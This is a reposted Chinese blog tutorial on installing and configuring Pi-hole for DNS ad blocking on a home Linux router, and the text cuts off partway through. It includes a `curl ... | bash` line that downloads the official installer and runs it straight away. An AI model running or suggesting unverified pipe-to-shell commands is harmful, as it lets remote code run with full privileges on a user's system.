tag:blogger.com,1999:blog-55002971261857367762024-03-13T18:06:11.973+08:00GFW BLOG(功夫网与翻墙)翻越防火长城,你可以到达世界上的每一个角落。<br>
Across the Great Firewall, you can reach every corner in the world.GFW BLOG 功夫网与翻墙http://www.blogger.com/profile/04563295701263359157noreply@blogger.comBlogger13362125tag:blogger.com,1999:blog-5500297126185736776.post-40945835685927162822023-12-29T10:57:00.004+08:002023-12-29T10:57:26.790+08:00Linux路由补完计划06 广告屏蔽就是这么简单——Pi-hole篇<div><div class="post-body" itemprop="articleBody" style="-webkit-text-stroke-width: 0px; background-color: white; color: #555555; display: block; font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.125em; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; opacity: 1; orphans: 2; overflow-wrap: break-word; text-align: justify; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; transform: translateY(0px); white-space: normal; widows: 2; word-spacing: 0px;"><h2 id="前言" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.375em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><span style="font-weight: normal;">via <a href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/">https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/</a></span><br /></h2></div></div><p></p><div class="post-body" itemprop="articleBody" style="-webkit-text-stroke-width: 0px; background-color: white; color: #555555; display: block; font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.125em; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; opacity: 1; orphans: 2; overflow-wrap: break-word; text-align: justify; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; transform: translateY(0px); white-space: normal; widows: 2; word-spacing: 0px;"><h2 id="前言" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.375em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E5%89%8D%E8%A8%80" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="前言"></a>前言</h2><hr style="background-image: repeating-linear-gradient(-45deg, rgb(221, 221, 221), rgb(221, 221, 221) 4px, transparent 4px, transparent 8px); border: 0px; box-sizing: content-box; height: 3px; margin: 40px 0px; overflow: visible;" /><p style="margin: 0px 0px 20px;">在上上期中我介绍了使用AdGuard Home来过滤广告的方法,今天我再推荐一款同样好用的本地DNS及广告过滤工具——<a href="https://pi-hole.net/" rel="noopener" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" target="_blank">Pi-hole</a>,相比于AdGuard Home来说,Pi-hole诞生更早,一开始它是为树莓派开发的一款广告过滤工具,在许多开发者的努力下,它被发扬光大了,也正因为这款工具的诞生,让我在过去那段时间里能让自己的移动设备免受广告的侵扰,以至于至今我还把它当成主力的广告过滤工具在我的软路由上默默的为全家手机服务</p><span id="more"></span><h2 id="视频说明" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.375em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E8%A7%86%E9%A2%91%E8%AF%B4%E6%98%8E" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="视频说明"></a>视频说明</h2><hr style="background-image: repeating-linear-gradient(-45deg, rgb(221, 221, 221), rgb(221, 221, 221) 4px, transparent 4px, transparent 8px); border: 0px; box-sizing: content-box; height: 3px; margin: 40px 0px; overflow: visible;" /><div class="video-container" style="height: 0px; margin-bottom: 20px; overflow: hidden; padding-top: 450px; position: relative; width: 800px;"></div><h2 id="Pi-hole是什么" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.375em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#Pi-hole%E6%98%AF%E4%BB%80%E4%B9%88" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="Pi-hole是什么"></a>Pi-hole是什么</h2><hr style="background-image: repeating-linear-gradient(-45deg, rgb(221, 221, 221), rgb(221, 221, 221) 4px, transparent 4px, transparent 8px); border: 0px; box-sizing: content-box; height: 3px; margin: 40px 0px; overflow: visible;" /><p style="margin: 0px 0px 20px;">Pi-hole的核心组件pihole-FTL实际上就是一个dnsmasq的分支,它相比于原版的dnsmasq在功能上有专门针对广告过滤的优化,它只是将过去需要手动进行的广告过滤规则进行了自动化配置;原版的dnsmasq可以通过address=这样的配置进行广告屏蔽,如果广告域名较多的话,那配置起来简直让人抓狂,而Pi-hole作为一款好用的工具简化了广告过滤规则的配置过程,真乃懒人之福音</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/01.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 01" /><h2 id="搭建过程" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.375em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E6%90%AD%E5%BB%BA%E8%BF%87%E7%A8%8B" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="搭建过程"></a>搭建过程</h2><hr style="background-image: repeating-linear-gradient(-45deg, rgb(221, 221, 221), rgb(221, 221, 221) 4px, transparent 4px, transparent 8px); border: 0px; box-sizing: content-box; height: 3px; margin: 40px 0px; overflow: visible;" /><blockquote style="border-left: 4px solid rgb(221, 221, 221); color: var(--blockquote-color); margin: 0px; padding: 0px 15px;"><p style="margin: 0px 0px 20px;">由于Pi-hole的本质就是dnsmasq,为了不影响其正常的安装,在安装之前需要卸载掉本机已经安装的dnsmasq,这也是为什么我在上期视频中没有附加广告过滤部分的原因</p></blockquote><h3 id="前期准备" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.25em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E5%89%8D%E6%9C%9F%E5%87%86%E5%A4%87" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="前期准备"></a>前期准备</h3><ul><li>备份dnsmasq配置并将其卸载:</li></ul><p style="margin: 0px 0px 20px;">执行命令<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">systemctl stop dnsmasq</code>将dnsmasq服务停止,之后就是将上次编写的配置文件给备份(实际上并不需要备份,基本上会自动生成),此处我使用<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">mv</code>命令,直接将整个目录重命名了,这样有两点好处:</p><p style="margin: 0px 0px 20px;">1.备份</p><p style="margin: 0px 0px 20px;">2.防止安装Pi-hole之后因为配置冲突造成启动失败</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/30.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 02" /><p style="margin: 0px 0px 20px;">此处实际上应该还要卸载,只是我忘记了,大家记得要执行下述命令来进行dnsmasq的卸载<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">apt-get autoremove dnsmasq -y</code></p><ul><li>安装必要的下载工具<strong style="font-weight: bolder;">curl</strong></li></ul><p style="margin: 0px 0px 20px;">安装Pi-hole的一键脚本需要用到,那就装呗,<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">apt-get install curl -y</code></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/31.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 03" /><ul><li>配置代理</li></ul><p style="margin: 0px 0px 20px;">感谢伟大的GFW,装个国外的软件真心好痛苦,还好咱有代理可以用,<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">export</code>命令走起</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/32.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 04" /><h3 id="一键安装" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.25em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E4%B8%80%E9%94%AE%E5%AE%89%E8%A3%85" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="一键安装"></a>一键安装</h3><p style="margin: 0px 0px 20px;">想要安装Pi-hole还是很简单的(这是现在,过去可是很坑的,动不动依赖就会出问题,当然大部分原因都是有伟大的GFW),官方直接提供了一键脚本</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/02.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 05" /><p style="margin: 0px 0px 20px;">根据官方给出的命令,执行就是了<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">curl -sSL https://install.pi-hole.net | bash</code></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/33.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 06" /><p style="margin: 0px 0px 20px;">如果不出意外的话,基本上都能顺利的进入配置界面</p><h3 id="安装配置" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.25em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="安装配置"></a>安装配置</h3><ul><li>在安装部分依赖之后,系统会自动进入配置的界面,如下图所示:</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/05.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 07" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/06.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 08" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/07.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 09" /><blockquote style="border-left: 4px solid rgb(221, 221, 221); color: var(--blockquote-color); margin: 0px; padding: 0px 15px;"><p style="margin: 0px 0px 20px;">Pi-hole的一些说明之后就是正式的安装配置了</p></blockquote><ul><li>选择提供服务的网卡,此处是LAN口的<strong style="font-weight: bolder;">ens224</strong></li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/08.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 10" /><ul><li>选择上游服务器,现在图省事我直接使用了Google的,然后直接确定进入下一步</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/09.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 11" /><ul><li>广告过滤的策略,先保持默认吧</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/10.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 12" /><ul><li>选择IP类型,<strong style="font-weight: bolder;">IPv4</strong><span> </span>OR<span> </span><strong style="font-weight: bolder;">IPv6</strong>,现在<strong style="font-weight: bolder;">IPv6</strong>还有很多问题,暂时就只用<strong style="font-weight: bolder;">IPv4</strong>吧</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/11.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 13" /><ul><li>确认一下网络设置情况,保证能够正常上网</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/12.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 14" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/13.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 15" /><ul><li>之后系统会询问是否需要安装web界面,小白必备,自然是需要的</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/14.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 16" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/16.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 17" /><ul><li>开启查询记录,此处我选择了记录全部内容</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/18.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 18" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/19.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 19" /><p style="margin: 0px 0px 20px;">之后Pi-hole就会基于刚刚的配置开始自动安装,这期间需要下载一些组件,如果网络不好的话就有可能会失败,所以代理还是很有必要的</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/20.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 20" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/24.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 21" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/26.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 22" /><p style="margin: 0px 0px 20px;">接下来就进入最后的一部分配置,包括防火墙,登陆密码等</p><ul><li>配置防火墙(如果没有启用防火墙,这边可以随意),建议安装Pi-hole需要用到的防火墙规则,默认会打开其所需要用到的端口:<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">53</code>、<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">67</code>、<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">4711~4720</code>、<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">80</code></li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/27.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 23" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/39.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 24" /><ul><li>完成安装及显示登录密码,之后可以通过显示的登陆地址和登陆密码进行后台管理</li></ul><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/37.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 25" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/38.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 26" /><h2 id="后台管理" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.375em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E5%90%8E%E5%8F%B0%E7%AE%A1%E7%90%86" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="后台管理"></a>后台管理</h2><hr style="background-image: repeating-linear-gradient(-45deg, rgb(221, 221, 221), rgb(221, 221, 221) 4px, transparent 4px, transparent 8px); border: 0px; box-sizing: content-box; height: 3px; margin: 40px 0px; overflow: visible;" /><h3 id="登陆" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.25em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E7%99%BB%E9%99%86" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="登陆"></a>登陆</h3><p style="margin: 0px 0px 20px;">登陆地址在安装完之后会自动显示,其实就是两个网卡所对应的地址,默认直接输入<a href="http://ip/admin" rel="noopener" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" target="_blank">http://ip/admin</a>即可进入界面,如果没有在IP后面加上<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">/admin</code>,那默认会进入如下界面:</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/40.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 27" /><p style="margin: 0px 0px 20px;">直接点击<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">Did you mean to go to the admin panel</code>即可进入后台界面,之后看到的就是基本的状态界面,上面可以直观的看到请求数,被拦截的查询等</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/41.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 28" /><p style="margin: 0px 0px 20px;">这个界面只是状态展示,如果要进行管理,需要登录进去,点击左侧的<strong style="font-weight: bolder;">Login</strong>进行登录,密码在Pi-hole安装完之后已经显示在界面上了</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/45.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 29" /><p style="margin: 0px 0px 20px;">如果嫌自动生成的密码太难记,直接可以使用<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">pihole -a -p</code>命令进行修改,执行命令后输入两次新密码即可</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/44.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 30" /><p style="margin: 0px 0px 20px;">登陆之后所有功能都会在左侧显示,状态界面显示的内容也会更丰富</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/46.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 31" /><h3 id="功能配置" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.25em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E5%8A%9F%E8%83%BD%E9%85%8D%E7%BD%AE" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="功能配置"></a>功能配置</h3><blockquote style="border-left: 4px solid rgb(221, 221, 221); color: var(--blockquote-color); margin: 0px; padding: 0px 15px;"><p style="margin: 0px 0px 20px;">Pi-hole的大部分功能配置都是在系统设置中调整的,点击左侧的<strong style="font-weight: bolder;">Settings</strong>选项,出现系统配置的几个选项卡</p></blockquote><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/47.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 32" /><ul><li><strong style="font-weight: bolder;">上游DNS调整</strong></li></ul><p style="margin: 0px 0px 20px;">选择<strong style="font-weight: bolder;">DNS</strong>选项卡,在安装过程中我使用了谷歌的DNS服务器,此时我依然打算使用DNSCrypt-Proxy作为主要的上游服务器,取消谷歌的服务器的勾选,在**Custom 1(IPv4)**中填入DNSCrypt-Proxy的监听地址及端口,此处是<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">127.0.0.1#5353</code></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/48.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 33" /><p style="margin: 0px 0px 20px;">点击右下角的<strong style="font-weight: bolder;">SAVE</strong>之后即可生效,同时在<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">/etc/dnsmasq.d/</code>目录下的配置文件也会出现相应的修改,由于pihole-FTL就是一个dnsmasq的增强版本,所以dnsmasq上使用的语法在它身上依然可以使用,<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">vi /etc/dnsmasq.d/01-pihole.conf</code></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/49.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 34" /><blockquote style="border-left: 4px solid rgb(221, 221, 221); color: var(--blockquote-color); margin: 0px; padding: 0px 15px;"><p style="margin: 0px 0px 20px;">此处可以看到服务器部分已经是自定义的那个服务器地址了</p></blockquote><ul><li><strong style="font-weight: bolder;">启用DHCP功能</strong></li></ul><p style="margin: 0px 0px 20px;">选择<strong style="font-weight: bolder;">DHCP</strong>选项卡,勾选<strong style="font-weight: bolder;">DHCP server enabled</strong>,并配置好起始和结束的IP地址,当然,也不要忘记把网关地址设置正确,同样的,保存之后就可生效,相应的在<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">/etc/dnsmasq.d</code>目录下也会生成对应的配置文件</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/50.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 35" /><p style="margin: 0px 0px 20px;">此时DHCP功能的配置文件名是<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">02-pihole-dhcp.conf</code></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/51.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 36" /><ul><li><strong style="font-weight: bolder;">添加合理的广告过滤规则</strong></li></ul><p style="margin: 0px 0px 20px;">点击<strong style="font-weight: bolder;">Blocklists</strong>查看默认的广告过滤规则,这些广告过滤规则并不符合中国用户的使用习惯,此处我建议全部取消前面的勾选</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/52.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 37" /><p style="margin: 0px 0px 20px;">此处我推荐一个广告过滤规则的Github项目:<a href="https://github.com/neoFelhz/neohosts" rel="noopener" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" target="_blank">neohosts</a></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/53.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 38" /><p style="margin: 0px 0px 20px;">项目提供的几种类型的规则地址,我主要推荐如下两个,这两个任选其一即可,具体的不同可以查看项目的说明</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/54.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 39" /><p style="margin: 0px 0px 20px;">直接复制规则的地址,填入<strong style="font-weight: bolder;">Blocklists</strong>选项卡的规则地址位置,点击<strong style="font-weight: bolder;">Save and Update</strong>使其生效即可</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/55.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 40" /><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/56.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 41" /><blockquote style="border-left: 4px solid rgb(221, 221, 221); color: var(--blockquote-color); margin: 0px; padding: 0px 15px;"><p style="margin: 0px 0px 20px;">此时添加的规则已经可以满足轻量级的广告过滤需求了,当然,如果想要更加强力点的广告过滤能力,建议移植<a href="https://adblockplus.org/" rel="noopener" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" target="_blank">Adblock plus</a>中的Easylistchina等规则,由于Pi-hole并不兼容Adblock plus的规则语法,所以只能移植其中收集到的广告域名,虽然功能上受限制了,但是也是对原有广告过滤功能的增强</p></blockquote><p style="margin: 0px 0px 20px;">在<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">/opt</code>目录下新建一个脚本文件<code style="background: rgb(238, 238, 238); border-radius: 